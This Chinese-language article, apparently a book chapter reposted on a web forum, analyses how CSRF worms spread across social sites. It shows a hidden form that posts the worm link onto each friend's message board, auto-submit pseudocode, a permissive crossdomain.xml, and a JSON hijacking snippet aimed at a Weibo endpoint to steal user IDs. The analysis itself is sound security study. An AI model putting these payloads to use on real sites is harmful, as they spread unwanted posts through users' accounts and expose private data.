顾名思义,CSRF蠕虫就是利用CSRF技术进行传播的Web蠕虫,前面的译言CSRF蠕虫以及相关分析文章说明了CSRF蠕虫存在的事实,译言网站(以下称这样的宿主为victim_site)的这个CSRF蠕虫是由用户驱动的,蠕虫的代码都存放于另外一个网站上(如worm_site),在victim_site上需要用户驱动的就一个链接http://worm_site/,该链接指向CSRF蠕虫本身。

CSRF蠕虫如何具备蠕虫的特性?我们写的代码其实没有表现出一个蠕虫本身具有的所有性质。在这里,要解决的最关键的问题就是CSRF蠕虫的传播性,即基于用户驱动的传播性(主动或者被动)。当它可以传播了,我们就可以考虑为它增加其他的功能,比如利用CSRF技术删除或编辑某些内容、增加新的内容、添加好友,等等。

1. CSRF蠕虫的传播

比如,我们要在一个SNS网站中传播CSRF蠕虫的链接(http://worm_site/),当用户单击这个链接时,就会触发CSRF蠕虫,初始时,蠕虫链接http://worm_site/被提交在http://victim_site/user=37用户的留言板上,当登录的用户A单击这个蠕虫链接时,worm_site会判断单击的来源地址,根据来源的地址本身或者来源地址对应的页面内容中的用户唯一标志,来区分出该留言板所属用户的所有好友的信息。接着筛选出所有好友有价值的信息,比如,这里就是http://victim_site/user=[user_id]链接中的[user_id]信息。根据批量获取的这个唯一的[user_id],CSRF蠕虫就可以借用用户A的权限循环发起POST型的CSRF攻击,此时蠕虫提交的表单类似如下代码:

<form action="http://victim_site/post_info.do" method="post">
<input type="text" name="title" value="hi" />
<input type="text" name="info" value="有趣的网站:http://worm_site/ 。"style="display:none!important;display:block;width=0;height=0" />
<input type="text" name="user_id" value="[user_id]" />
</form>

该表单中的[user_id]是这个SNS网站进行用户身份标志的值,如果我们的CSRF蠕虫不能获取这个值,就无法正常传播。从这个例子中我们可以看出,蠕虫要传播,就必须能够获取那些唯一值,然后利用获取到的唯一值进行传播。在一个SNS网站中,什么值是唯一的?比如用户id、用户昵称、用户Email、用户session、用户个人页面地址。那么什么是CSRF蠕虫可以得到的?用户session仅通过CSRF显然得不到,其他的都可以得到。获取这些唯一值的意义是什么?CSRF蠕虫必须知道自己正在处理的是谁的信息,比如[user_id]为37的好友列表页面地址http://victim_site/friends/user=37,这是唯一的,只有知道这样的唯一值,才能知道该唯一值对应的其他唯一信息。上面的表单代码在worm_site上打包为一个函数:

function post_info(user_id){
  var id = user_id;
  create_form with the id;
}

该函数通过唯一的[user_id]动态生成并提交POST型的CSRF攻击表单。被攻击的目标就是[user_id]对应的用户页面,CSRF蠕虫就是通过这样的方式传播开的。

2. 跨域获取数据的几种方式

上面提到的CSRF蠕虫传播必须面对的问题是如何获取各种必要的唯一值。这里有三种方式:服务端代理技术、Flash AS跨域请求技术、JSON Hi-Jacking技术。

1)服务端代理技术

译言CSRF蠕虫使用的就是这样的技术,利用服务端脚本获取到的Referer值来判断来源地址,由于该Referer值也许包含SNS网站中用户的唯一标志,比如,译言的个人空间链接地址http://www.yeeyan.com/space/show/19076,其中的19076就是该用户的唯一标志。蠕虫在服务端就可以根据这个唯一标志区分自己将要处理的数据,比如,获取19076用户的好友信息,就可以操作这个地址http://www.yeeyan.com/space/friends/19076。

使用服务端代理技术的优点是显而易见的,比如蠕虫代码、逻辑可以被很好地隐藏。缺点是在服务端发起的GET或POST请求无法跨域带上被攻击站点的本地Cookie或内存Cookie。这样CSRF蠕虫就只能通过Referer里的唯一值来进行下一步攻击,而不能通过获取Referer的地址对应的页面内容中由Cookie决定的唯一值,比如,这样的地址http://www.yeeyan.com/space/showme,对每个登录的译言用户而言,链接地址一样,但是页面内容不一样,其中不一样的内容由用户的身份标志决定。使用服务端代理技术无法通过CSRF技术获取http://www.yeeyan.com/space/showme链接页面中不一样的用户唯一标志。

2)Flash AS跨域请求技术

目标服务器下必须存在crossdomain.xml文件,且crossdomain.xml中的配置允许其他域的AS脚本进行跨域请求,如下:

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

那么worm_site就可以使用AS脚本来发起跨域的GET请求,这是客户端发起的CSRF攻击,在请求时会带上本地Cookie或者内存Cookie,所以,可以很方便地获取我们想要的页面内的唯一值。结合AS与服务端的通信技术以及AS与JavaScript的通信技术,CSRF蠕虫将更加强大。

3)JSON HiJacking技术

JSON HiJacking攻击在4.2.2节中已提过,通过这个技术可以获取一些隐私信息。这里以盗取新浪微博用户邮箱为例进行说明,如果新浪微博登录用户访问攻击者构造的页面,页面代码如下:

<script>
function func(o){
  alert(o.userinfo.uniqueid); // 得到微博用户唯一ID
}
</script>
<script src="http://weibo.com/xxxxxxx.php?framelogin=0&callback=func"></script>

用户的唯一ID就会被获取,如图9-9所示。

图9-9 微博JSON HiJacking获取用户唯一的ID

3. 结论

除了上面介绍的三种跨域获取数据的方法外,还有其他方法。在不同的Web 2.0环境下,CSRF蠕虫的细节不一样,不过各类原理是一样的。通过对CSRF蠕虫传播原理的分析,许多广泛存在CSRF漏洞的Web 2.0网站都面临着CSRF蠕虫的威胁。Web 2.0蠕虫由用户驱动(被动的或主动的),加上一些社工技巧,这将很难防御。这篇文章分析的CSRF蠕虫是指站外CSRF蠕虫,如果在站内,同域环境下且利用XSS技术,CSRF蠕虫就不再是单纯的CSRF了。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文